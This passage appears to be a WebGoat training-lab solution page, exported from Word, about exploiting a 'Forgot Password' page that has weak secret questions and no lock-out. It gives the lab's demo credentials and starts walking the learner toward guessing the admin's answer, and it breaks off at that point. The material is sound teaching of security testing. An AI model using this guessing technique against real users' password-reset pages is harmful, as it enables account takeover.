UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:Wingdings;
|
||||
panose-1:5 0 0 0 0 0 0 0 0 0;
|
||||
mso-font-charset:2;
|
||||
mso-generic-font-family:auto;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:0 268435456 0 0 -2147483648 0;}
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="3074"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Exploit the Forgot Password Page<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<!-- Start Instructions -->
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Web
|
||||
applications frequently provide their users the ability to retrieve a forgotten
|
||||
password. Unfortunately, many web applications fail to implement the mechanism
|
||||
properly. The information required to verify the identity of the user is often
|
||||
overly simplistic. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Users can
|
||||
retrieve their password if they can answer the secret question properly. There
|
||||
is no lock-out mechanism on this 'Forgot Password' page. Your username is
|
||||
'webgoat' and your favorite color is 'red'. The goal is to retrieve the
|
||||
password of another user.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This lesson
|
||||
will show you how easy it is to guess a secret question and retrieve somebody
|
||||
else his password.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_477" o:spid="_x0000_i1031" type="#_x0000_t75"
|
||||
style='width:480pt;height:276pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image015.jpg" v:shapes="Picture_x0020_477"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 10</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>When you
|
||||
enter the user name webgoat and then the answer "red" for your favorite color,
|
||||
you will get a password reminder, only not via e-mail.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_478"
|
||||
o:spid="_x0000_i1030" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image016.jpg" v:shapes="Picture_x0020_478"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Submit the answer red<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_479"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:480pt;height:276pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForgotPassword_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=368
|
||||
src="lesson_solutions/ForgotPassword_files/image017.jpg" v:shapes="Picture_x0020_479"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Password reminder for user webgoat</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The password
|
||||
for user webgoat is webgoat. This is a weak password policy, which is also a
|
||||
bad thing </span><span style='font-family:Wingdings;mso-ascii-font-family:Arial;
|
||||
mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;mso-char-type:symbol;
|
||||
mso-symbol-font-family:Wingdings'><span style='mso-char-type:symbol;mso-symbol-font-family:
|
||||
Wingdings'>J</span></span><span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Now you need
|
||||
to guess the password for another user. The text tells you something about an
|
||||
"OWASP admin". So let<65>s try "admin" for a user name.<o:p></o:p></span></p>
|
||||
|
||||
